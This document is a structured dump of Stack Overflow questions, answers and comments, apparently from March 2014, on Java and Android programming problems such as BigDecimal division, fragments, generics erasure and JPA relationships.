comment on: http://stackoverflow.com/q/22290159
type: Comment

http://stackoverflow.com/comment/68007956
type: Comment
comment on: http://stackoverflow.com/a/22300058
score: 0
type: AnswerComment
has text: Stupid edit which has just made it hard for a learner to understand,

http://stackoverflow.com/comment/33933436
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22325528
type: AnswerComment
has text: @pskink `How to check on which word I clicked and do different things for different words`, imo from this statement he wants a different onClickListener for every word

http://stackoverflow.com/comment/33753371
score: 0
type: Comment
type: QuestionComment
has text: is it like that? ArrayList<Deal> dealsTodayArray = dealsToday.getDeals(); Collections.shuffle(dealsTodayArray); Deal dealsTodayFirst = dealsTodayArray.get(0); Deal dealsTodaySecond = dealsTodayArray.get(1); Deal dealsTodayThird = dealsTodayArray.get(2); Deal dealsTodayForth = dealsTodayArray.get(3);
comment on: http://stackoverflow.com/q/22229101

http://stackoverflow.com/q/22275479
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33838698
has title: Java-like language with unsigned and POD types
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33838103
has answer: http://stackoverflow.com/a/22275824
type: UnansweredQuestion
has body: After I mastered Java I can say for sure that I like it much more than C++ which I used for more then 10 years. The things that really annoy me is that Java lacks of operator overloading, unsigned byte and struct data types. That why you have to use different hacks to do low level network, video and audio data processing. I wonder is there any Java-like language (and VM) with unsigned byte and struct-like data types? Also why not to extend the Java standard adding these features?

http://stackoverflow.com/a/22308416
type: Answer
has body: I'm not sure if you are asking how to check types at runtime or to populate with types at runtime. If the latter then see @Salah's answer using instanceof. In particular, why the House array is being populated with Building objects while the School array is being populated with School objects is confusing me. To assign: Building[] house = new House[3]; Building[] school = new School[2]; You could also populate the array with Building objects and then use type checking when you need to down the road.
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22308276
downvote count: 0

http://stackoverflow.com/a/22223320
upvote count: 1
has comment: http://stackoverflow.com/comment/33750814
has comment: http://stackoverflow.com/comment/33745052
accepted answer of: http://stackoverflow.com/q/22222846
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22222846
downvote count: 0
has comment: http://stackoverflow.com/comment/33745782
type: Answer
has body: In general the relationship between articles and tags is a many-to-many relationship as an article may have many tags and each of these tags may be reused in many articles. To indicate a many-to-many relationship the @ManyToMany annotation is required. Also to make something clear, in the OP it is indicated a unidirectionaly one-to-many relationship as the @JoinTable annotation has been used on the many side. This is the reason a join table has been created. In addition as a consequence if a @ManyToOne annotation is used in Tag class the many-to-one will be another unidirectional relationship. Just be careful there as they will be handled as two independent unidirectional relationship with probable strange behaviour and any configuration will not affect both entities, since it is not a biderictional relationship. Finally, if it is required to have a one-to-many unidirectional relationship but also reuse the tags, it is required to retrieve them based on their name, so that they have the correct record id and then set the to the Article instance. If you try to set a new instance of Tag which will have no record id but a name that already exists, then the jpa provider will try to insert the new tag and a unique constraint exception will be thrown, because of the duplicate tag name. Also will need to remove any unique constraint referred to tag_id in article_tag table.
score: 1
has comment: http://stackoverflow.com/comment/33748078

http://stackoverflow.com/q/22324993
tagged with: integer
type: AnsweredQuestion
tagged with: java
type: Question
accepted answer: http://stackoverflow.com/a/22325122
has title: Java sort array list to find highest Integer
has comment: http://stackoverflow.com/comment/33926373
tagged with: arraylist
score: 0
has comment: http://stackoverflow.com/comment/33926056
answer count: 1
has answer: http://stackoverflow.com/a/22325122
tagged with: compare
has body: I have an array list of Player Objects. These players all have high scores. I'm not sure how to go through the arraylist and find the player with the highest score. The Collections.sort does not work for this public void determineWinner() { for (int i = 0; i &lt; playersList.size(); i++) { playersList.get(i).getFrameScores2(); System.out.println("**************"); System.out.println("Player " + playersList.get(i).getName() + " total score is : " + playersList.get(i).getTotalScore()); } }

http://stackoverflow.com/q/22285120
score: 1
has answer: http://stackoverflow.com/a/22285194
favorite count: 0
has title: My Bigdecimal divison results in app crashes when ever there is non zero remainder?
type: Question
answer count: 2
tagged with: android
accepted answer: http://stackoverflow.com/a/22285194
tagged with: java
upvote count: 1
tagged with: bigdecimal
possible better answer: http://stackoverflow.com/a/22285455
has answer: http://stackoverflow.com/a/22285455
has body: I have this code to perform private String evaluateResult(boolean requestedByUser) { if ((!requestedByUser &amp;&amp; mOperationStack.size() != 4) || (requestedByUser &amp;&amp; mOperationStack.size() != 3)) return null; String left = mOperationStack.get(0); String operator = mOperationStack.get(1); String right = mOperationStack.get(2); String tmp = null; if (!requestedByUser) tmp = mOperationStack.get(3); BigDecimal leftVal = new BigDecimal(left); BigDecimal rightVal = new BigDecimal(right); BigDecimal result = null; if (operator.equals("/")) { result = leftVal.divide(rightVal); } else if (operator.equals("x")) { result = leftVal.multiply(rightVal); } else if (operator.equals("+")) { result = leftVal.add(rightVal); } else if (operator.equals("-")) { result = leftVal.subtract(rightVal); } String resultStr = result+""; if (resultStr == null) return null; mOperationStack.clear(); if (!requestedByUser) { mOperationStack.add(resultStr); mOperationStack.add(tmp); } return resultStr; } now if i calculate 12/3 output is 4 but if i try to calculate 12/5 app crashes. Whenever divisor is not a factor of dividend app crahses.After reading logcat it appears that it is becuse of non-terminating division. How can i avoid it. here is my logcat 03-09 22:33:14.876: W/dalvikvm(20200): threadid=1: thread exiting with uncaught exception (group=0x410819c0) 03-09 22:33:14.883: E/AndroidRuntime(20200): FATAL EXCEPTION: main 03-09 22:33:14.883: E/AndroidRuntime(20200): java.lang.IllegalStateException: Could not execute method of the activity 03-09 22:33:14.883: E/AndroidRuntime(20200): at android.view.View$1.onClick(View.java:3607) 03-09 22:33:14.883: E/AndroidRuntime(20200): at android.view.View.performClick(View.java:4212) 03-09 22:33:14.883: E/AndroidRuntime(20200): at android.view.View$PerformClick.run(View.java:17476) 03-09 22:33:14.883: E/AndroidRuntime(20200): at android.os.Handler.handleCallback(Handler.java:800) 03-09 22:33:14.883: E/AndroidRuntime(20200): at android.os.Handler.d…
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/comment/33862007
type: AnswerComment
comment on: http://stackoverflow.com/a/22288251
score: 0
type: Comment
has text: Whatever. In 20 years of programming I never encountered (let alone wrote myself) code that the kind of things OP is looking at would matter for. Such code does exist of course but we mere mortals never touch it. Java is not the language for such code. But to each it's own if you think such optimization is useful by all means go ahead.

http://stackoverflow.com/comment/33843065
comment on: http://stackoverflow.com/q/22278135
score: 0
type: QuestionComment
has text: Have you used a break point or logged `onChoiceClicked()` from your Fragment to verify that it is being executed?
type: Comment

http://stackoverflow.com/comment/33912503
comment on: http://stackoverflow.com/a/22316824
type: AnswerComment
has text: @Krishna, then change it. Its one line of code to use a JDialog instead of a JFrame. Or you can write dozens of lines of code to try to make your JFrame modal. I don't know how to do that. Good luck.
type: Comment
score: 2

http://stackoverflow.com/comment/34053097
comment on: http://stackoverflow.com/a/22316255
type: AnswerComment
score: 0
type: Comment
has text: how to upload the video on fiverr

http://stackoverflow.com/comment/33681723
type: Comment
comment on: http://stackoverflow.com/a/22187782
has text: [Here](https://ideone.com/Upx6QY) is the full code. There are some sub-classes whose code is not included(`Connection`&`ServerConnection`) ...There are quite a few bugs that need to be fixed in the code...but I think you will not need those parts of the code. FYI, I run the same instance of this code in separate cmd windows when checking if the program runs.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33897886
score: 0
comment on: http://stackoverflow.com/q/22297609
type: Comment
type: QuestionComment
has text: @ZouZou Hey, I found what the problem is, basically for some reason every time I call the method the map is empty for some reason. Would it be possible to have a look at my code in a private chat for something as I cannot post it here (due to risk of plagiarism).

http://stackoverflow.com/q/22211295
score: 0
answer count: 2
possible better answer: http://stackoverflow.com/a/22211460
has answer: http://stackoverflow.com/a/22215718
has answer: http://stackoverflow.com/a/22211460
has comment: http://stackoverflow.com/comment/33729648
tagged with: android
has title: Button not working in a fragment no errors?
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22215718
tagged with: java
has body: another newbie stuck with fragments/buttons! I have a fragment with some spinners and a button the button should open a new activity but its does nothing - no errors or force close just nothing, any ideas?? thanks for the help :) package info.androidhive.tabsswipe; import android.content.Intent; import android.os.Bundle; import android.support.v4.app.Fragment; import android.view.LayoutInflater; import android.view.View; import android.view.View.OnClickListener; import android.view.ViewGroup; import android.widget.ArrayAdapter; import android.widget.Button; import android.widget.Spinner; public class BreakfastFragment extends Fragment { private Button button; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View v = inflater .inflate(R.layout.fragment_breakfast, container, false); String[] tables = { "Where are you?", "Take out", "Table 1", "Table 2", "Table 3", "Table 4", "Table 5", "Table 6", }; Spinner spinner = (Spinner) v.findViewById(R.id.table_spinner); ArrayAdapter&lt;String&gt; tableadapter = new ArrayAdapter&lt;String&gt;( this.getActivity(), android.R.layout.simple_spinner_item, tables); String[] bagels = { "Pick your Bagel!", "Plain", "Wholemeal", "Seeded", }; Spinner spinner2 = (Spinner) v.findViewById(R.id.spinner_bageltype); ArrayAdapter&lt;String&gt; Bageladapter = new ArrayAdapter&lt;String&gt;( this.getActivity(), android.R.layout.simple_spinner_item, bagels); String[] fillings = { "A tasty filling?", "Bacon", "Sausage", "Bacon &amp; Sausage", "Soft Cheese", "Butter" }; Spinner spinner3 = (Spinner) v.findViewById(R.id.spinner_Filling); ArrayAdapter&lt;String&gt; fillingadapter = new ArrayAdapter&lt;String&gt;( this.getActivity(), android.R.layout.simple_spinner_item, fillings); String[] sauce = { "Any Sauce?", "Red", "Brown", "Mayo", "None", }; Spinner spinner4 = (Spinner) v.findViewById(R.id.spinner_sauce); ArrayAdapter&lt;String&gt; sauceadapter = new ArrayAdapter&lt;String&gt;( this.ge…
type: Question
tagged with: android-fragments

http://stackoverflow.com/a/22207112
has body: To round to the nearest 0.05, one simple way is to multiply by 20, round to the nearest integer, then divide by 20. 100.00 * 20 = 2000.00 round-&gt; 2000 2000/20 = 100.00 100.02 * 20 = 2000.20 round-&gt; 2000 2000/20 = 100.00 100.04 * 20 = 2000.80 round-&gt; 2001 2001/20 = 100.05 100.06 * 20 = 2001.20 round-&gt; 2001 etc 100.07 * 20 = 2001.40 round-&gt; 2001 100.08 * 20 = 2001.60 round-&gt; 2002 You have to decide what happens to 100.025, which will dictate whether you use ROUND_HALF_UP, ROUND_HALF_DOWN or ROUND_HALF_EVEN.
type: Answer
answers question: http://stackoverflow.com/q/22206713
score: 0

http://stackoverflow.com/comment/33821009
type: QuestionComment
comment on: http://stackoverflow.com/q/22265927
score: 0
has text: How will people have access to your code? Are you sharing it through an online community or just by them making use of the program?
type: Comment

http://stackoverflow.com/q/22316360
has answer: http://stackoverflow.com/a/22317007
tagged with: boolean
tagged with: random
answer count: 2
possible better answer: http://stackoverflow.com/a/22317007
downvote count: 0
has answer: http://stackoverflow.com/a/22316377
has title: Generating random numbers to put in an array, if number is a duplicate draw then reroll. Boolean check is "sometimes" working
favorite count: 0
type: AnsweredQuestion
score: 1
tagged with: java
accepted answer: http://stackoverflow.com/a/22316377
upvote count: 1
type: Question
has body: Edit: Uh well now that I pasted code into here and looked at it.. I have 2 .. "duplicate methods" .. Eclipse for some god awful reason hid the first "boolean checkforDupes()" from me. It seems to be fixed now, still poking it to make sure, should I just like.. delete the post or something? I have a class assignment, which I've done essentially everything for, but I'm having issues with generating some random numbers to put into an array, and if they number has already been "drawn" then the number is re-generated so that there are no duplicates. I've looked through several articles and have seen various ways to accomplish what I'm trying to do, but I'm really just trying to locate the flaw in my method/reasoning/etc. (Pulling numbers from a fully populated array randomly, or shuffling an array and picking a handful, using a Set for unique numbers etc) Essentially the program is just supposed to generate 5 lotto numbers, player(or computer player in this case) also selects 5 numbers. Each number set is to be unique, and then you compare the Array/List/whatever and pull out matches for assumed points or notoriety. Somewhere between my generateNumbers() and checkForDupes() methods my logic has failed me and I've been stumped for a few hours. Sometimes the generator works and recognizes that it has rolled a duplicate and will reroll, but other times it will say reroll the first number but numbers 3 &amp; 4 are duplicates which it ignores. Any insight into this would be much appreciated. package lottery; import java.util.*; public class Lottery { final int chance = 5; //holds the number of lottery numbers to be picked private int lotteryNumbers[] = new int[chance]; //array to hold the lottery numbers private int playerNumbers[] = new int[chance]; //array to hold player's numbers //Maybe rewrite with a Set instead of Array. //Or generate random numbers and put them in array and "draw" lotto numbers from the array. Well now that I'm looking at my post, this comment is more …
tagged with: arrays

http://stackoverflow.com/comment/33894300
comment on: http://stackoverflow.com/q/22306801
score: 0
type: Comment
type: QuestionComment
has text: How do you register the `cart` bean ?

http://stackoverflow.com/comment/33880391
comment on: http://stackoverflow.com/q/22298162
score: 0
type: QuestionComment
type: Comment
has text: I think you can use replace function. I feel you are getting the right output but there is content mis match. Replace ">" with "?"

http://stackoverflow.com/comment/33901202
type: QuestionComment
comment on: http://stackoverflow.com/q/22310323
has text: Your current compareTo can be reduced to simply `return points-other.points;`
score: 0
type: Comment

http://stackoverflow.com/a/22190835
has body: A few notes on your implementation: 1) stackArray member seems to be a leftover from another array based stack implementation. 2) is max size really a requirement? if so, you don't enforce the stack size limitation in push(..) 3) Your push(..) method doesn't keep the list circular. You should close the loop back to the new node. 4) Adding a dummy node allows you to keep the linked list circular, regardless of the stack size. This can make your push(..) method simpler (as well as any iteration for printing purposes for example) 5) The peek() method contract is unclear. Usually you want the peek method to return the value in the top of the stack, without removing it. Also, why do you return type Node? This class should be hidden from the caller - it's an internal implementation detail, not something you want to expose in your API. Following is an alternative implementation, that also supports toString(): public class Stack { private Node EOS; private int count = 0; public Stack() { EOS = new Node(0); EOS.next = EOS; } public void push(long j) { Node newNode = new Node(j); Node tmp = EOS.next; EOS.next = newNode; newNode.next = tmp; count++; } public Long pop() { if (isEmpty()) { return null; } else { count--; Node node = EOS.next; EOS.next = node.next; return node.iData; } } public Long peek() { if (isEmpty()) { return null; } else { Node node = EOS.next; return node.iData; } } public boolean isEmpty() { return (count == 0); } @Override public String toString() { StringBuilder sb = new StringBuilder(); Node p = EOS.next; while (p != EOS) { sb.append(p).append("\n"); p = p.next; } return sb.toString(); } private static class Node { public long iData; public Node next; public Node(long id) { iData = id; } @Override public String toString() { return "&lt;" + iData + "&gt;"; } } }
score: 0
answers question: http://stackoverflow.com/q/22190130
type: Answer

http://stackoverflow.com/q/22228982
has comment: http://stackoverflow.com/comment/33754951
type: UnansweredQuestion
tagged with: java
type: Question
has body: I am constructing an Android application that is to return the current position of the device running the app. I have currently got the google map displaying on the screen but I am having an issue with the location listener, I put break points within it and they never be hit. I will include my MainActivity.java and androidMainfest.xml. MainActivity.java package com.example.androidgooglemap; import com.google.android.gms.location.LocationListener; import com.google.android.gms.maps.GoogleMap; import android.location.Location; import android.location.LocationManager; import android.os.Bundle; import android.support.v4.app.FragmentActivity; import android.content.Context; import android.view.Menu; import android.widget.Toast; public class MainActivity extends FragmentActivity { public GoogleMap mMap; LocationManager location; public double latG; public double lonG; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); location = (LocationManager) getSystemService(Context.LOCATION_SERVICE); location.getLastKnownLocation(Context.LOCATION_SERVICE); LocationListener locationListener = new LocationListener(){ @Override public void onLocationChanged(Location location) { if (location != null) { latG = location.getLatitude(); lonG = location.getLongitude(); Toast.makeText(MainActivity.this, latG + " " + lonG, Toast.LENGTH_LONG).show(); } } }; } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } /* Request updates at startup */ } AndroidManifest.xml &lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.androidgooglemap" android:versionCode="1" android:versionName="1.0" &gt; &lt;uses-sdk android:minSdkVersion="11" android:targetSdkVersion="18" /&gt; &lt;uses-feature android:…
has title: unable to locate current gps position
has answer: http://stackoverflow.com/a/22233398
has comment: http://stackoverflow.com/comment/33754856
has comment: http://stackoverflow.com/comment/33755074
score: 0
tagged with: google-maps
answer count: 1
tagged with: locationlistener
tagged with: android

http://stackoverflow.com/q/22245287
accepted answer: http://stackoverflow.com/a/22245782
has answer: http://stackoverflow.com/a/22247824
answer count: 3
has answer: http://stackoverflow.com/a/22245782
tagged with: fileinputstream
tagged with: android
has comment: http://stackoverflow.com/comment/33786915
possible better answer: http://stackoverflow.com/a/22247824
favorite count: 0
has comment: http://stackoverflow.com/comment/33783388
has answer: http://stackoverflow.com/a/22245847
tagged with: sockets
score: 2
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/33786868
tagged with: java
tagged with: inputstream
has title: Reading JPEG Stream over socket gives Null characters
type: Question
upvote count: 2
has body: I am reading a .jpg file over InputStream using this code but I am receiving NULNUL...n stream after some text. Ii am reading this file link to file and link of file that I received , link is Written File link. while ((ret = input.read(imageCharArray)) != -1) { packet.append(new String(imageCharArray, 0, ret)); totRead += ret; imageCharArray = new char[4096]; } file = new File( Environment.getExternalStorageDirectory() + "/FileName_/" + m_httpParser.filename + ".jpg"); PrintWriter printWriter = new PrintWriter(file); // outputStream = new FileOutputStream(file); //also Used FileoutputStream for writting // outputStream.write(packet.toString().getBytes());// // , printWriter.write(packet.toString()); // outputStream.close(); printWriter.close(); } I have also tried FileoutputStream but hardlucj for this too as commented in my code. Edit I have used this also. I have a content length field upto which i am reading and writing byte[] bytes = new byte[1024]; int totalReadLength = 0; // read untill we have bytes while ((read = inputStream.read(bytes)) != -1 &amp;&amp; contentLength &gt;= (totalReadLength)) { outputStream.write(bytes, 0, read); totalReadLength += read; System.out.println(" read size ======= " + read + " totalReadLength = " + totalReadLength); }

http://stackoverflow.com/a/22184724
has comment: http://stackoverflow.com/comment/33674416
has body: new MyObject(){ public MyObject open(){ // do some stuff return this; } public MyObject dis(){ // do some stuff return this; } }.open().dis();
has comment: http://stackoverflow.com/comment/33674848
downvote count: 1
has comment: http://stackoverflow.com/comment/33674560
has comment: http://stackoverflow.com/comment/33675004
has comment: http://stackoverflow.com/comment/33674466
has comment: http://stackoverflow.com/comment/33675116
has comment: http://stackoverflow.com/comment/33675260
has comment: http://stackoverflow.com/comment/33674450
has comment: http://stackoverflow.com/comment/33675281
type: Answer
answers question: http://stackoverflow.com/q/22184606
has comment: http://stackoverflow.com/comment/33675214
upvote count: 2
score: 1

http://stackoverflow.com/comment/33884451
has text: U can use two grid layout side by side.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22301380

http://stackoverflow.com/comment/33892506
type: Comment
type: QuestionComment
has text: I'd be inclined to pass around a [FileReader](http://docs.oracle.com/javase/7/docs/api/java/io/FileReader.html) or some such, and handle the file as a stream. Or, what with there being XML-like tags, perhaps a [SAX parser](http://docs.oracle.com/javase/tutorial/jaxp/sax/index.html) is in order?
comment on: http://stackoverflow.com/q/22305493
score: 0

http://stackoverflow.com/comment/33850552
comment on: http://stackoverflow.com/q/22279483
score: 0
type: Comment
type: QuestionComment
has text: Do you know where a Maven repository is with the Java3D files?

http://stackoverflow.com/comment/33670249
has text: Is regex a requirement?
comment on: http://stackoverflow.com/q/22182415
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/22259981
score: 8
has comment: http://stackoverflow.com/comment/33810651
upvote count: 8
accepted answer of: http://stackoverflow.com/q/22259737
has comment: http://stackoverflow.com/comment/33810350
has comment: http://stackoverflow.com/comment/33810466
type: Answer
answers question: http://stackoverflow.com/q/22259737
has comment: http://stackoverflow.com/comment/33810544
has body: Your type erased version is not correct. The type parameter declaration is not erased to Object but only it's usage is erased. More specifically: Erasure of a generic type is its corresponding raw type. So, for ArrayList&lt;V&gt;, it would be just ArrayList. Erasure of a type parameter is its left-most bound. And all the type arguments are just removed. The type arguments are the one you use while instantiating the generic class. So, ArrayList&lt;Integer&gt; will be replaced with ArrayList. So, the correct erased version would be: class ArrayList { private Object[] backingArray; public ArrayList() { backingArray = (Object[]) new Object[DEFAULT_SIZE]; } } when I have ArrayList and ArrayList are there two different classes for each? No, this is never the case. The compiler generates only one byte code representation of a generic type or method and maps all the instantiations of the generic type or method to the unique representation. if not where the type information of String and Integer is stored? When the compiler performs type-erasure, it removes all the type information, based on some pre-defined rules, occasionally adding what is called as bridge method, and adds all the necessary type casting required. So, for example, the following usage of ArrayList&lt;Integer&gt; and ArrayList&lt;String&gt;: ArrayList&lt;Integer&gt; list = new ArrayList&lt;Integer&gt;(); list.add(1); int value = list.get(0); ArrayList&lt;String&gt; list2 = new ArrayList&lt;String&gt;(); list.add("A"); String value2 = list.get(0); will be converted to somewhat like this: ArrayList list = new ArrayList(); list.add(1); int value = (Integer) list.get(0); ArrayList list2 = new ArrayList(); list.add("A"); String value2 = (String) list.get(0); Further Reading: Java Generics FAQs - What is Type Erasure? Why does compiler adds cast while translating generics?
has comment: http://stackoverflow.com/comment/33810969
has comment: http://stackoverflow.com/comment/33810308
has comment: http://stackoverflow.com/comment/33810477
has comment: http://stackoverflow.com/comment/33811095
has comment: http://stackoverflow.com/comment/33810879
has comment: http://stackoverflow.com/comment/33810853
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33810764
downvote count: 0

http://stackoverflow.com/comment/33733800
comment on: http://stackoverflow.com/q/22217630
score: 0
has text: Just to be clear - the `infoNotify()` triggers or `onPreviewNativeEvent()`?
type: Comment
type: QuestionComment

weka
tags question: http://stackoverflow.com/q/22273732
tags question: http://stackoverflow.com/q/22171760
tags question: http://stackoverflow.com/q/22188004
tags question: http://stackoverflow.com/q/22201949
tags question: http://stackoverflow.com/q/22275777
tag name: weka
type: Tag

http://stackoverflow.com/a/32025770
score: 13
has body: If you need this and similar operations more often, it may be more convenient to find the right library instead of implementing it yourself. Here are one-liners solving your question from Apache Commons Math using Precision, Colt using Functions, and Weka using Utils: double value = 540.512 / 1978.8 * 100; // Apache commons math double rounded1 = Precision.round(value, 1); double rounded2 = Precision.round(value, 1, BigDecimal.ROUND_HALF_UP); // Colt double rounded3 = Functions.round(0.1).apply(value) // Weka double rounded4 = Utils.roundDouble(value, 1) Maven dependencies: org.apache.commons commons-math3 3.5 colt colt 1.2.0 nz.ac.waikato.cms.weka weka-stable 3.6.12
upvote count: 15
answers question: http://stackoverflow.com/q/22186778
downvote count: 2
type: Answer

http://stackoverflow.com/comment/33881491
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22299528
score: 0
has text: No problem now, just that I need to out.writeObject(ae);, thanks

http://stackoverflow.com/a/22261671
accepted answer of: http://stackoverflow.com/q/22261264
has comment: http://stackoverflow.com/comment/33813746
type: AcceptedAnswer
downvote count: 0
has body: Add a System.out.println() to your reset() method to see what's going on: private void reset() { for (byte row = 0; row &lt; 8; row++) { for (byte col = 0; col &lt; 8; col++) { ImageIcon randomValue = icons[(byte) (Math.random() * icons.length)]; shinyButtons[row][col] = new JButton(randomValue); shinyButtons[row][col].setLocation(10 + col * 69, 10 + row * 69); shinyButtons[row][col].setSize(69, 69); getContentPane().add(shinyButtons[row][col]); } } System.out.println(getContentPane().getComponentCount()); } You are not removing the old buttons that you previously added. Consider using a proper LayoutManager, such as GridLayout. I would also rethink your design: you shouldn't need to remove and then re-add the buttons. Store the state of your data separate from your UI. Try this... Create a variable to store the game state: private final ImageIcon[][] data = new ImageIcon[8][8]; Set up the game state in your reset() method: private void reset() { // no need to add the buttons again for (byte row = 0; row &lt; 8; row++) { for (byte col = 0; col &lt; 8; col++) { data[row][col] = icons[(byte) (Math.random() * icons.length)]; shinyButtons[row][col].setIcon(data[row][col]); } } } Don't forget to initialize the game state when you first create the buttons: for (byte row = 0; row &lt; 8; row++) { for (byte col = 0; col &lt; 8; col++) { shinyButtons[row][col] = new JButton(); shinyButtons[row][col].setLocation(10 + col * 69, 10 + row * 69); shinyButtons[row][col].setSize(69, 69); getContentPane().add(shinyButtons[row][col]); } } reset();
type: Answer
answers question: http://stackoverflow.com/q/22261264
has comment: http://stackoverflow.com/comment/33813685
has comment: http://stackoverflow.com/comment/33813619
score: 4
upvote count: 4

http://stackoverflow.com/comment/33802432
type: Comment
comment on: http://stackoverflow.com/a/22245958
type: AnswerComment
has text: well then I'm guess its buried somewhere in a properties file in JBOSS
score: 0

http://stackoverflow.com/a/22285069
score: 4
accepted answer of: http://stackoverflow.com/q/22284822
upvote count: 4
answers question: http://stackoverflow.com/q/22284822
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: Not sure why you want a regex, anyway, IDEA has this inspection builtin, at least with 13.x. File -> Settings, select "Inspections". There is a search bar: in it, type "diam"; it will show an inspection "Java language level migration aids" -> "Explicit type can be replaced with &lt;>": if it is not selected, select it. Then, after selecting the correct JVM for your project, "Analyze" -> "Inspect code": this will list all occurrences of all inspections; select the inspection above: you then have the option to apply this correction to all occurrences.

http://stackoverflow.com/a/22271714
downvote count: 0
answers question: http://stackoverflow.com/q/22271113
has comment: http://stackoverflow.com/comment/33996632
upvote count: 2
has comment: http://stackoverflow.com/comment/34011969
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33995877
has comment: http://stackoverflow.com/comment/34011735
type: Answer
has body: Whether a relationship is an aggregation or a composition is a choice you make in design. It is common with this sort of relation for an Owner object to be (or perhaps have) either an aggregation or a composition of multiple Account objects, and the distinction is whether deletion of an Owner object forces the deletion of its Account objects, i.e., whether the lifetime of the Account objects is dependent on the lifetime of the owning Owner object. It's also common for an Account object to have a link back to its owning Owner object as in your code, but I think most people would not regard that link as a either a composition or an aggregation. It's nice in that case for the Owner object to actually be a composition of Account objects, and that the field owner in Account is not allowed to be null. But it's not necessarily so. Your choice... What happens in the "real world" is irrelevant. What really matters is how you choose to model it.
accepted answer of: http://stackoverflow.com/q/22271113
score: 2

http://stackoverflow.com/comment/33669645
type: Comment
type: QuestionComment
score: 0
has text: @user2825125, of course. - `\((.*)\)`
comment on: http://stackoverflow.com/q/22177484

http://stackoverflow.com/q/22202145
has comment: http://stackoverflow.com/comment/33705517
has title: Java SWT How do I properly pass input and output between UI and code?
has body: I'm making my first attempt at passing information between UI and code. I've posted what I've done so far but am having difficulty finding the proper way to pass information back out without appending the current text. I understand this is beginner stuff and would also appreciate direction towards a tutorial geared specifically for passing information back and forth between UI and code. public class UserInterface { private Shell shell; public static void main(){ Display display = new Display(); new UserInterface(display); display.dispose(); } public UserInterface(Display display){ shell = new Shell(display); shell.setSize(400, 250); initUI(); center(shell); shell.open(); while(!shell.isDisposed()){ if(!display.readAndDispatch()){ display.sleep(); } } } public void initUI(){ final Text text = new Text(shell, SWT.SINGLE); text.setBounds(20, 20, 100, 18); Label lbl1 = new Label(shell, SWT.BEGINNING); lbl1.setBounds(20, 50, 500, 50); lbl1.setText("(1) Enter number.\n(2) Click next to enter another number\n(3) Click done to find LCM"); final Text display = new Text(shell, SWT.SINGLE); display.setBounds(20, 110, 360, 100); Button button = new Button(shell, SWT.PUSH); button.setBounds(140, 16, 100, 35); button.setText("Button"); button.addSelectionListener(new SelectionAdapter(){ @Override public void widgetSelected(SelectionEvent e){ //display.setText(""); String output = text.getText(); display.setText(output); } }); } public void center(Shell shell){ Rectangle bds = shell.getMonitor().getBounds(); Point p = shell.getSize(); int xPos = (bds.width - p.x) / 2; int yPos = (bds.height - p.y) / 2; shell.setBounds(xPos, yPos, p.x, p.y); } }
has comment: http://stackoverflow.com/comment/33815666
type: Question
has comment: http://stackoverflow.com/comment/33706094
score: 0
tagged with: swt
answer count: 1
has comment: http://stackoverflow.com/comment/33706031
tagged with: java
has comment: http://stackoverflow.com/comment/33705334
has comment: http://stackoverflow.com/comment/33815051
has comment: http://stackoverflow.com/comment/33814957
has comment: http://stackoverflow.com/comment/33706363
tagged with: user-interface
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33706455
has comment: http://stackoverflow.com/comment/33705570
has comment: http://stackoverflow.com/comment/33815321
has answer: http://stackoverflow.com/a/22204457
has comment: http://stackoverflow.com/comment/33739687
has comment: http://stackoverflow.com/comment/33705828

http://stackoverflow.com/comment/36495890
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22209111
type: QuestionComment
has text: have you managed to setup a request with cookies using picasso?

http://stackoverflow.com/q/22177484
has body: I was wondering how I could incorporate a parser for ignoring nested parentheses when matching patterns. I am trying to ignore the nested parentheses in a pattern like (a(b))_n. This is not possible now because my pattern matches the content inside the first parentheses by matching everything but a ')'. Would I use a for loop? And how would I detect only the nested parentheses inside the first parentheses? I don't have an idea of where to start. Thanks.
has comment: http://stackoverflow.com/comment/33661141
answer count: 1
downvote count: 0
favorite count: 0
tagged with: parsing
has comment: http://stackoverflow.com/comment/33666317
has comment: http://stackoverflow.com/comment/33660976
has comment: http://stackoverflow.com/comment/33662223
tagged with: regex
has title: Parser for ignoring nested parentheses?
has answer: http://stackoverflow.com/a/22177655
type: UnansweredQuestion
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33669645
upvote count: 1
has comment: http://stackoverflow.com/comment/33662563
type: Question

http://stackoverflow.com/a/22219333
score: 4
